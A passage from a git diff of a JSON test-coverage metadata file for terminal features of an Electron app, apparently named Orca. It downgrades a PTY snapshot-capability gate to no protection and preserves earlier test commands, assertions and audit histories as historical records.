\"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\n \"tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\n \"assertions\": [\"retries an existing subscriber when provider inventory becomes ready\"]\n },\n {\n \"file\": \"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\n \"assertions\": [\n \"creation and removal at the census release edge are subsumed once, and a delayed pre-boundary change is not replayed\",\n \"post-boundary creation and removal replay after the initial snapshot in sequence order\",\n \"create/remove/recreate transitions are preserved without collapse\",\n \"a post-boundary projected-state change is delivered without a new snapshot revision\",\n \"an older coalesced callback cannot overwrite a newer immediate change\",\n \"initialization churn publishes only the latest projected state and repeated structural overflow fails after bounded recollection\",\n \"disconnect aborts the census and removes the real runtime listener\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts\",\n \"assertions\": [\n \"preserves daemon PID and target PTY identity across the paired host relaunch\",\n \"foregrounds the daemon-backgrounded target on its first post-relaunch remote observation\",\n \"delivers target and post-relaunch control terminal input and live output\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts\",\n \"assertions\": [\"replaces a stale paired stream when the PTY snapshot advanced\"]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-stall-recovery.spec.ts\",\n \"assertions\": [\n \"restarts one ACK-starved paired terminal stream without replacing its PTY\"\n ]\n },\n {\n \"file\": \"tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts\",\n \"assertions\": [\"recovers an ACK-starved stream from an isolated headless Orca host\"]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts\",\n \"assertions\": [\n \"a nonempty lossy initial snapshot paints exactly once on a paired client\",\n \"the authoritative host cursor advances and live output resumes exactly once\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\n \"assertions\": [\n \"paints a paired remote terminal when only its retained text tail overflowed\",\n \"legacy paired hosts retain the lossy hidden-manager budget fallback\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-retention-memory.spec.ts\",\n \"assertions\": [\n \"ordinary-parks paired terminals and restores authoritative host scrollback\",\n \"warm-mounted hidden paired streams schedule zero renderer output work under sustained host output\",\n \"six hidden real PTYs publish and apply only exact working and idle title transitions across paired transport\",\n \"client recovery completes while every target terminal remains unmounted in the host renderer\"\n ]\n },\n {\n \"file\": \"tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts\",\n \"assertions\": [\n \"ordinary-parks paired terminals against an isolated headless Orca host\",\n \"cold-activates only visible paired terminals against an isolated headless host\",\n \"the headless host bounds real-PTY decorative title transport and production store application\",\n \"the headless host shares the zero-hidden-renderer-work and exact-restoration contract\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-parked-memory.spec.ts\",\n \"assertions\": [\n \"releases un-parkable hidden worktree buffers only once the retention budget engages\"\n ]\n },\n {\n \"file\": \"src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts\",\n \"assertions\": [\n \"admits 128 active streams, rejects the 129th, and reuses released capacity\",\n \"reserves PTY wait capacity independently from active streams\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\n \"assertions\": [\n \"keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/preload-api/runtime/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts --maxWorkers=1\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\"ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"],\"testFiles\":[\"src/main/runtime/construction/orca-runtime.test.ts\",\"src/renderer/src/web/preload-api/runtime/web-preload-api-runtime-environment.test.ts\",\"src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts\",\"src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts\",\"src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts\",\"src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts\",\"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\"src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts\",\"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\"tests/e2e/terminal/remote-parking/paired-remote-terminal-truncated-tail-first-paint.spec.ts\",\"tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts\",\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts\",\"src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts\",\"assertions\":[\"retries an existing subscriber when provider inventory becomes ready\"]},{\"file\":\"src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts\",\"assertions\":[\"creation and removal at the census release edge are subsumed once, and a delayed pre-boundary change is not replayed\",\"post-boundary creation and removal replay after the initial snapshot in sequence order\",\"create/remove/recreate transitions are preserved without collapse\",\"a post-boundary projected-state change is delivered without a new snapshot revision\",\"an older coalesced callback cannot overwrite a newer immediate change\",\"initialization churn publishes only the latest projected state and repeated structural overflow fails after bounded recollection\",\"disconnect aborts the census and removes the real runtime listener\"]},{\"file\":\"tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts\",\"assertions\":[\"recovers an ACK-starved stream from an isolated headless Orca host\"]},{\"file\":\"src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts\",\"assertions\":[\"admits 128 active streams, rejects the 129th, and reuses released capacity\",\"reserves PTY wait capacity independently from active streams\"]},{\"file\":\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts\",\"assertions\":[\"keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. No fresh red/green result for changed selectors. Historical account: Audit1412 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The six-PTY ordinary-parking oracle was red in two independently observed stages: the parked paired remount first used detached attach and restored only rows 5,963–5,999, then the requested snapshot still lost to the current-screen replay until park reveals explicitly entered the capability-gated reattach coordinator. The candidate is green on headed and headless hosts, while disabling terminal.paired-parking.v1 makes the byte-identical oracle fail at its capability precondition and leaves the separately tested legacy lossy fallback green. The parked-title production-parity control throws Maximum update depth exceeded on the affected parking synchronization and settles with semantic dependencies; forced memo-cache discard, StrictMode cleanup replay, and split-PTY replacement are independently red before their corrections and green on the combined candidate. The real-PTY session-tabs oracle produces 96 full snapshots, 64,032 serialized bytes, 96 renderer applies, and 96 store mutations on unmodified main and on a one-line causal revert before reaching the alternating native-title phase; the candidate produces zero in all four dimensions while preserving all 2,880 redraw chunks and 24 exact semantic transitions. The 64-PTY decorative-title control delivered 576 client events after convergence on unmodified main; the candidate delivers zero while preserving all 640 local frames, one current frame to a late client, and bell/idle transitions to both clients. The legacy no-output-pause control failed to request a reveal snapshot and kept hidden bytes on the xterm path; the candidate gates those bytes locally and restores one authoritative snapshot before live output. With stalled-stream recovery disabled, the host cursor advanced but the client remained frozen; enabling it repainted the marker with the same PTY and tab. The sequence-gap unit and headed paired oracle are red on current main and with only the new probe decision reverted: the authoritative host advances while the client stays stale after a successful probe. The candidate replaces the stream, repaints the marker, preserves PTY identity, and resumes I/O. Reverting the active-stream limit to 64 makes the exact 128-stream contract fail at 64; restoring 128 admits every intended stream, rejects 129, and reattaches it after one slot releases. The host-relaunch oracle fails when unknown delivery state is coerced to foregrounded or a layout version becomes an output high-water; the candidate foregrounds the preserved daemon PTY once and resumes same-PTY input/output. When authoritative inventory overlaps a refused in-flight attach, removing only the post-settlement retry leaves the existing subscriber without daemon output; the candidate retains one waiter across repeated inventory publications, retries exactly once, and restores live output.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. No fresh changed-selector soak result. Historical account: Changed selectors have no new soak result after Audit1412; any retained unchanged-source receipts apply only to their own commands. Historical account: The host-relaunch oracle passed a fresh 10-run local series. One earlier exploratory repeat timed out in transport recovery before terminal input/output assertions; it did not recur with forwarded app logs. A later Linux CI run reproduced missing live output when inventory overlapped the refused in-flight attach, which now has a deterministic unit oracle and is pending cross-platform rerun. Broader headed/headless parking coverage has no aggregated CI or soak history yet.\"},\"runtimeBudget\":{\"p95Seconds\":360,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Historical pre-audit selector account; changed selectors have no new measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Before ordinary parking, six warm-mounted hidden paired xterms receive zero raw frames and schedule zero renderer output drains while host models continue ingesting sustained output. The headed and headless production transports each admit only the initial and final semantic title snapshots per worktree across 180 timed decorative frames, and the real store performs only those 12 exact title mutations. Ordinary parking then retains the host PTY and bounded 5,000-row provider model while destroying five client xterms. Parked watcher synchronization is keyed by bounded parking semantics rather than fresh object identities; unrelated store writes perform zero PTY-map reads when no tab is parked, while parked reconciliation remains bounded by the worktree's terminal tabs and assignments. Decorative title ticks are collapsed both on the paired client-event channel and at the authoritative real-PTY session-tabs classifier before snapshot construction, serialization, transport, recovery, or store application; semantic facts remain exact. Headed and headless oracles require exact reduction from six managers to one, at least 55% staged xterm-cell release, no more than 16 MiB heap growth, and under 500 ms timer drift. The forced hidden-worktree retention policy keeps at most four otherwise un-parkable worktrees mounted and force-parks all after 15 minutes; the separate ordinary hot-retain policy keeps at most four recently visible worktrees warm for five minutes. Legacy hosts still gate hidden raw output before xterm scheduling and restore from a bounded snapshot on reveal. Stream recovery adds no polling and is scoped to one stream. Provider-ready reconciliation runs only for PTYs returned by a successful controller inventory, requires an existing remote subscriber, and retains at most one post-settlement waiter per PTY while attach deduplication remains active.\"}}" ], "demotionRule": "Keep experimental or demote to protection none if decorative title frequency changes paired client-event or session-tabs publication volume after convergence, a semantic fact is dropped, paired first paint is blank, passive work reconnects after manual disconnect, a capable hidden paired manager survives ordinary parking, a legacy hidden pane schedules raw xterm output or bypasses its fallback, reveal loses requested bounded history or live PTY identity, retained buffer cells do not fall, or either headed/headless scenario flakes." }, @@ -8701,7 +7677,7 @@ "id": "terminal-provider.snapshot-capability-renderer-responsiveness", "title": "PTY snapshot capability discovery never blocks renderer JavaScript", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-provider", "layer": "renderer-ipc", "surfaces": [ @@ -8712,56 +7688,31 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["daemon", "ssh", "remote-runtime"], - "coveredPlatforms": ["macos", "linux"], - "coveredProviders": ["daemon", "ssh"], - "coverageNotes": "Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct local recency/cap/TTL/last-active retention and activation tie-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Separate renderer snapshot-capability/main-stall assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit1939 (sources1934/1935): Pruned hidden-view suite retains local rank and age eviction only; its snapshot-capability and paired-owner admission examples are removed. No assertion object maps to this source, so unrelated aliases remain untouched. Existing physical stall selectors and their original dated receipts retain their independent scope; they do not validate removed capability units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: An Electron main-stall oracle proves capability lookup is asynchronous. Startup prefetch covers restored primary and split-pane PTY identities before cold activation, while unknown providers remain eager. Docker SSH journeys prove remote terminals still remount eagerly and reclaim their authenticated PTY owner after restart. Audit1292: The entire terminal-provider snapshot capability suite is removed. Unchanged-set scan suppression,512 batching/IPC, timeout/unknown state, stale-result fences, success/failure retry signals, unresolved cadence, identical-set retries and closed/reappearing-ID reset alarms are lost. Remaining Electron responsiveness evidence does not establish equivalent unit coverage. Audit1299 removes tests/e2e/terminal-cold-activation-deferral.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct local recency/cap/TTL/last-active retention and activation tie-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Separate renderer snapshot-capability/main-stall assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit1939 (sources1934/1935): Pruned hidden-view suite retains local rank and age eviction only; its snapshot-capability and paired-owner admission examples are removed. No assertion object maps to this source, so unrelated aliases remain untouched. Existing physical stall selectors and their original dated receipts retain their independent scope; they do not validate removed capability units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: An Electron main-stall oracle proves capability lookup is asynchronous. Startup prefetch covers restored primary and split-pane PTY identities before cold activation, while unknown providers remain eager. Docker SSH journeys prove remote terminals still remount eagerly and reclaim their authenticated PTY owner after restart. Audit1292: The entire terminal-provider snapshot capability suite is removed. Unchanged-set scan suppression,512 batching/IPC, timeout/unknown state, stale-result fences, success/failure retry signals, unresolved cadence, identical-set retries and closed/reappearing-ID reset alarms are lost. Remaining Electron responsiveness evidence does not establish equivalent unit coverage. Audit1299 removes tests/e2e/terminal-cold-activation-deferral.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed.", "motivatingLinks": ["https://stablygroup.slack.com/archives/C0BD60A5J85/p1785524559818629"], "invariant": "PTY snapshot capability discovery must never synchronously block renderer JavaScript. Restored daemon capability must be known before workspace readiness enables cold activation; unknown or legacy capability must remain eager. A healthy SSH provider must return definitive false without polling. One unresponsive capability batch must fail open within one second regardless of PTY count, and stale async responses must not update current bindings.", - "oracle": "Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct local recency/cap/TTL/last-active retention and activation tie-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Separate renderer snapshot-capability/main-stall assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit1939 (sources1934/1935): Pruned hidden-view suite retains local rank and age eviction only; its snapshot-capability and paired-owner admission examples are removed. No assertion object maps to this source, so unrelated aliases remain untouched. Existing physical stall selectors and their original dated receipts retain their independent scope; they do not validate removed capability units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): During an injected 1.5-second Electron main-thread stall, a renderer-owned 50ms interval must keep a maximum gap below 500ms and each API call must return within 100ms. The production cold-activation journey must still mount at most three of eight daemon tabs after reload, while Docker SSH restoration remains eager.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts --reporter=dot", - "pnpm exec electron-vite build --mode e2e", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/pty-snapshot-capability-main-stall.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3" - ], - "testFiles": [ - "src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts", - "tests/e2e/pty-snapshot-capability-main-stall.spec.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/pty-snapshot-capability-main-stall.spec.ts", - "assertions": [ - "a 1.5-second main stall leaves renderer interval gaps below 500ms", - "capability calls return to renderer JavaScript within 100ms" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-07-31", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/pty-snapshot-capability-main-stall.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3", - "result": "passed", - "durationSeconds": 16.8, - "summary": "Three 1.5-second main stalls produced 32 renderer calls each; maximum interval gaps were 70.3ms, 70.1ms, and 71.6ms, and maximum call-return durations were 0.1ms, 0.1ms, and 0.2ms. The synchronous baseline produced a 1465.1ms interval gap and 1464.2ms call-return duration." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5772 companion to audit5768: Retire the whole hidden-view parking policy suite. Direct local recency/cap/TTL/last-active retention and activation tie-order alarms are intentionally lost without equivalent replacement. Narrow one compound unit command and remove the parking testFiles entry. Separate renderer snapshot-capability/main-stall assertions remain unchanged at their own exact scope; they are not certified as replacements. Complete dated evidenceRuns and unrelated selectors/assertions are unchanged; none selects these retired suites and none validates the narrowed command. No fresh execution, current import reachability, replacement coverage or native/platform/remote result is claimed. Complete prior account preserved verbatim below as historical, including any older then-retained coverage claim: Audit1939 (sources1934/1935): Pruned hidden-view suite retains local rank and age eviction only; its snapshot-capability and paired-owner admission examples are removed. No assertion object maps to this source, so unrelated aliases remain untouched. Existing physical stall selectors and their original dated receipts retain their independent scope; they do not validate removed capability units. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): During an injected 1.5-second Electron main-thread stall, a renderer-owned 50ms interval must keep a maximum gap below 500ms and each API call must return within 100ms. The production cold-activation journey must still mount at most three of eight daemon tabs after reload, while Docker SSH restoration remains eager.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 30, - "scope": "focused Electron responsiveness and cold-restore journeys" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused Electron responsiveness and cold-restore journeys" }, "flakeHistory": { - "status": "unknown", - "evidence": "The deterministic Electron oracle passed three consecutive local runs; CI soak history is not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: The deterministic Electron oracle passed three consecutive local runs; CI soak history is not yet available." }, "redGreenEvidence": { - "status": "complete", - "evidence": "The byte-identical Electron oracle failed with synchronous sendSync at a 1465.1ms renderer interval gap and 1464.2ms call-return duration, then passed three times with async invoke at no more than 71.6ms and 0.2ms respectively. The preload test also fails on the synchronous baseline." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: The byte-identical Electron oracle failed with synchronous sendSync at a 1465.1ms renderer interval gap and 1464.2ms call-return duration, then passed three times with async invoke at no more than 71.6ms and 0.2ms respectively. The preload test also fails on the synchronous baseline." }, "performanceBudget": { "required": true, - "evidence": "Capability requests are deduplicated by PTY ID, sent in bounded 512-ID batches, cached after a definitive result, and retried only for unknown results. SSH now returns definitive false. One unresponsive batch fails open after one second without scanning further batches. No subprocesses or provider inventories are added." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Capability requests are deduplicated by PTY ID, sent in bounded 512-ID batches, cached after a definitive result, and retried only for unknown results. SSH now returns definitive false. One unresponsive batch fails open after one second without scanning further batches. No subprocesses or provider inventories are added." }, "promotionCriteria": [ "Run the Electron main-stall oracle for at least 100 consecutive passes or 14 days across required CI platforms.", @@ -8779,7 +7730,11 @@ "Audit5772 exact original complete commands JSON value, preserved verbatim as historical selector metadata; narrowed commands have no new validation:\n[\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/use-terminal-provider-snapshot-capability.test.tsx src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts --reporter=dot\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/pty-snapshot-capability-main-stall.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3\"\n ]", "Audit5772 exact original complete testFiles JSON value, preserved verbatim as historical selector metadata; narrowed commands have no new validation:\n[\n \"src/renderer/src/components/terminal/use-terminal-provider-snapshot-capability.test.tsx\",\n \"src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts\",\n \"src/renderer/src/components/terminal-pane/parking/retention/terminal-hidden-view-parking.test.ts\",\n \"tests/e2e/pty-snapshot-capability-main-stall.spec.ts\"\n ]", "Audit5772 exact original complete assertionRefs JSON value, preserved verbatim as historical selector metadata; narrowed commands have no new validation:\n[\n {\n \"file\": \"tests/e2e/pty-snapshot-capability-main-stall.spec.ts\",\n \"assertions\": [\n \"a 1.5-second main stall leaves renderer interval gaps below 500ms\",\n \"capability calls return to renderer JavaScript within 100ms\"\n ]\n }\n ]", - "Audit5901 deletes the complete snapshot-capability hook suite and retires its unit selector. Startup/split/pending/newline-ID memo retention, prefetch timing, definitive polling stop, unknown retry and unmount cancellation alarms are intentionally lost. Remaining commands and the unchanged dated main-stall receipt are not equivalent replacement coverage or fresh validation of this loss." + "Audit5901 deletes the complete snapshot-capability hook suite and retires its unit selector. Startup/split/pending/newline-ID memo retention, prefetch timing, definitive polling stop, unknown retry and unmount cancellation alarms are intentionally lost. Remaining commands and the unchanged dated main-stall receipt are not equivalent replacement coverage or fresh validation of this loss.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-31\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/pty-snapshot-capability-main-stall.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3\",\n \"result\": \"passed\",\n \"durationSeconds\": 16.8,\n \"summary\": \"Three 1.5-second main stalls produced 32 renderer calls each; maximum interval gaps were 70.3ms, 70.1ms, and 71.6ms, and maximum call-return durations were 0.1ms, 0.1ms, and 0.2ms. The synchronous baseline produced a 1465.1ms interval gap and 1464.2ms call-return duration.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts 